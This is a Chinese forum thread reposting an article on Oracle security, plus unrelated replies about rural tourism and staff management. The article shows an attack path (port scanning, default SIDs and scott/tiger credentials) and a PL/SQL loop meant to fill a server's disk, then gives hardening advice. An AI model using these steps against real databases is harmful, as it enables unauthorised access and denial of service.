基于PHP和AJAX创建RSS聚合器 移动IP与DHCP、VPN等技术的比较 五招让Vista电脑更具个性化 Oracle 如何搞垮他的数据库——谈Oracle安全

如何搞垮他的数据库——谈Oracle安全

[ 3878 查看 / 5 回复 ]

人们经常听到Windows的安全漏洞,频繁的遭受病毒攻击等,我们的传统观念是 Windows太不安全了;实际上Unix/Linux如果配置不当,其危险性远远高出人们的想象,大部分人非常重视操作系统的安全,但作为其最重要的数据库应用,你注意它了么?本文旨在介绍数据库级的安全,当然操作系统被攻破的话,那一切免谈。  让我带你去试着攻击一台装有Oracle的机器
  1、首先确定被攻击Oracle的IP地址(无目的,那就去全网扫描吧,发现1521端口打开的就挑出来,不要说连扫描都不会,F..t)
  2、猜测它的SID号;好象很困难,事实上安装Oracle时有缺省值,80%的人安装时都不会去修改,或改为很容易猜测的值,比如:ORCL、ORA、ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...
  3、连接后,猜测用户名和口令;好象更困难,事实上安装 Oracle时,SYS、SYSTEM等系统用户有缺省口令,可惜在9i中,终于改为需用户自己确定口令(不过大部分用户还是沿用以前的口令或使用'oracle'),而且还有被人们遗忘的用户,比如SCOTT,缺省安装时他会被建立起来的。
  4、sqlplus scott/tiger@ora_sid 终于登陆进来,可是这个小用户只是用来做测试学习的,我们用他来干什么呢?
  键入:
SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;
USERNAME DEFAULT_TABLESPACE
------------------------------ --------------------
SCOTT USERS
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE
SQL> select * from user_ts_quotas;
TABLESPACE_NAME BYTES MAX_BYTES BLOCKS MAX_BLOCKS
------------------------------ ----------
SYSTEM 524288 0 64 0
USERS 65536 0 8 0
  什么意思呢?
  意思是我们的这个用户是数据缺省是建在USERS表空间上的,拥有建表等权限,而USERS表空间的磁盘使用是无限制的,聪明的读者应该明白我们可以在这里写入很多数据直到占满它的磁盘,造成数据库无法使用......
  我们试试吧
  先建张表
SQL> CREATE TABLE TEST (A CHAR(30));
  这张TEST表只有一个字段A
  再写个PL/SQL过程
DECLARE
v_number varchar2(30);
m_number varchar2(30):=999999999999999999999999999999;
--m_number的值代表了插入多少行数据,可修改但不能超过30位。
begin
FOR v_number IN 1..m_number LOOP
insert into TEST(A) values(m_number);
commit;
end LOOP;
end;
/
  上面的PL/SQL过程表示给TEST表中A列循环插入'999999999999999999999999999999'值,共计999999999999999999999999999999行。以每行30 byte来算,共计2000000多亿T大小吧,即便他是IBM大鲨鱼的阵列存储,也扛不住。
  当然,你也可以增加几个列,减少m_number值,可以加快速度的。
  这里再提醒大家一个Oracle缺省用户DBSNMP,几乎所有稍高版本的典型安装都会创建它,危险指数高于SCOTT,因为它是创建在SYSTEM表空间的......F..t
  讲了半天,DBA们快看看自己的系统,一般来说成功率相当高。下面我们开始讲讲如何作好安全防护:
  1、启用防火墙。
  很多单位的数据库都没有防火墙保护,或防火墙配置为透明。实际上防火墙可以有效的阻止扫描 ,如果做了NAT、地址限制、禁止ICMP等就更好了,让别人在外网看不到你的数据库。
  2、加大多层结构数据库应用的建设。
  传统的C/S尽管有很多优势,但在安全性上实在令人担心。很多程序开发者会将数据库的用户名和密码直接写在客户端程序中,认为编译后会很安全,但事实上你用文本编辑器打开过这个客户端程序吗?你会吃惊的发现竟然可以看到用户名和密码。
  多层结构就没有这个问题,前台就是个浏览器或简单的客户端,可能会影响效率但在需要全网公开提供服务的情况下肯定是首选。
  3、去除Oracle里用不到的组件,比如Jserver、Agent、远程管理等等,这些强大的功能都是安全隐患,9I的AS存在缓冲溢出漏洞,如果你装了就做祈祷吧...
  4、修改缺省用户的密码,自建用户加强口令管理和复杂度。
  用system用户进入执行
SQL> select username from dba_users;
USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
TEST
SCOTT
RMAN
TEST1
SQL> select * from session_privs;
PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
SELECT ANY DICTIONARY
  看看你系统到底存在哪些用户,口令修改了吗,够复杂吗,相应的权限是否有扩大的嫌疑?
  5、作好数据备份
  具体这里就不多说了,CSDN相关版块里有详细的帖子描述Oracle备份机制。
  6、合理划分文件系统
  *在Unix/Linux下使用df -k检查你的文件系统,不同用户使用不同的表空间,不同的表空间建在不同的文件系统,千万不要把应用建在SYSTEM表空间上,回滚/重做表空间的管理也不容忽视;

SQL> host df -k
Filesystem 1K-blocks Used Available Use% Mounted on
/dev/hda2 5036316 2100832 2679652 44% /
/dev/hda3 5036316 4381292 399192 92% /oracle
none 256144 0 256144 0% /dev/shm
/dev/hda5 2016016 863144 1050460 46% /data1
/dev/hda7 6166948 558176 5295508 10% /data2
/dev/cdrom 81762 81762 0 100% /mnt/cdrom
SQL> select file_name,tablespace_name from dba_data_fil
FILE_NAME
-------------------------------------------------------
TABLESPACE_NAME
------------------------------
/oracle/product/9.2.01/oradata/system.dbf
SYSTEM
/oracle/product/9.2.01/oradata/undotbs.dbf
UNDOTBS
/data1/oradata/data1.dbf
DATA1
/data2/oradata/data2.dbf
DATA2
  *在Windows下,使用资源管理器检查你的分区,不同的表空间建在不同的分区上,同样千万不要把SYSTEM表空间和应用放在一起。
  当然,安全管理浩如烟海,这篇文章全当抛砖引玉......
TOP

该用户帖子内容已被屏蔽
TOP
TOP

十一长假过后,临安市农家乐逐步进入淡季,曾经热闹的山村开始恢复宁静。据业内人士推荐,农家乐的旺季是五月至十月,其余时间客人相对少的,冬季更是不少农家乐的“寒假”。
  细心的人肯定已经发觉,我市农家乐的生意是与气温相关的,气温高的季节,农家乐火爆,气温低则进入淡季。由此可见,农家乐主要乐在避暑,住农家房、吃农家菜倒是其次。再往深想一层,避暑即是享受临安山村的生态环境,农家乐也是靠山吃山,靠水吃水。

  休闲需求没有季节之分。即使在冬季,人们仍会想着去游玩娱乐。冬天就是淡季的现实告诉我们,农家乐的冬天市场还有待开发,要想淡季不淡,需要在山水环境以外为游客提供新的内涵。

  近年来,农家乐的发展很快速。我市有农家乐的村就有几十个。周边桐庐、淳安、建德、安吉等地也均有农家乐。因为普遍以山水为基础,农家乐同质化日趋严重,竞争也日益激烈。据笔者所知,已经有个别地区,农家乐数量在降低。要想在激烈的竞争中立稳脚跟,就有必要挖掘生态环境以外的吸引力。

  农家乐发展到现在已经过了快速扩张期,环境容量也已不同意农家乐盲目扩张。现在已经到了寻觅核心竞争力的时候。核心竞争力是什么?笔者认为文化是其中之一。山水会雷同,但人文一定有自我的特色,更何况临安是浙西民俗文化很丰富的地区。

  临安市地域辽阔,孕育着多样性的文化。玲珑、於潜、昌化三个地区都有自我的风俗民情,各个地区内,不同乡镇之间的风俗习惯也有一定的差异。每年的森博会、元宵灯会,都能看到各地特色的文化表演。还有那些老一辈的心里,一定还记着精彩的民俗故事。我们不缺文化,缺的是对文化的挖掘。

  今年,临安市正在开展“文明乡风进万家”活动,引导各地挖掘当地特色文化。“绿色家园、富丽山村”建设中,绿色新文化哺育是四大工程之一。精品村、特色村创建,特色文化是内容之一。作为贯通十年的新农村建设抓手,绝大部分农村都有机会得到资金的支持。

  对于农家乐文化的挖掘,这些都是非常好机会。如能把握类似的支农机会,在民俗文化上树立自我的品牌,临安市的农家乐发展定能更上一层楼。
来源:http://www.22bw.com/lvyouzixun/5602/
TOP

在企业管理过程中,经常会有老总发出这样的疑问:“我企业里的一些员工给我的印象特别好:工作认真努力,原则性强……可是为什么公司的绝大多数员工都不喜欢他们呢?并且在工作进行当中大家特别不愿意与这些人合作,这到底是怎么一回事呢?”
对于这个问题,《长松组织系统》工具包的发明者、企业管理领域专家、全国知名实战专家讲师贾长松老师在一次教学过程中给出了答案。
“每家企业都会有“熊熊烈火”类的员工,这样的员工用自身的激情感染着周围的员工对工作保有积极性,进而促进企业快速、稳定的向前发展;而每家企业又不可避免的存在着“小枯灯”类员工,这类员工平时主要就是混日子或者在领导面前做做样子……总之,做一些表现自己而又与工作毫不相关的事情。而他们对企业的影响是巨大的——不过却是反面影响!他们消极怠工,也影响着周围的员工对工作的激情,让企业变得死气沉沉。久而久之,整个企业的发展脚步放缓、停滞不前甚至关门大吉!”
这种“小枯灯”类的员工就是前文提到的让企业老总困惑不已的“小部分员工”。他们利用在领导面前“努力工作、积极上进”的假象蒙蔽管理者和老总的眼睛,进而让老总们对他们留下很好的印象。而实际情况是:当面对着非“领导阶层”时,他们真正的嘴脸显露了出来,吊儿郎当、不遵守公司制度、混日子等等等等恶习出现在他们身上,并且像病毒一样开始在员工中蔓延,从而让企业原有的激情消退殆尽……
老总们面对这种“小枯灯”类的员工应该怎么办呢?“坚决辞掉!”贾老师在教学中毫不犹豫的坚定地说道。
中国有句古话说的好“一粒鸟屎坏了一锅汤”。身为老总的你难道希望企业因为这些“小枯灯”员工而坏掉吗?
TOP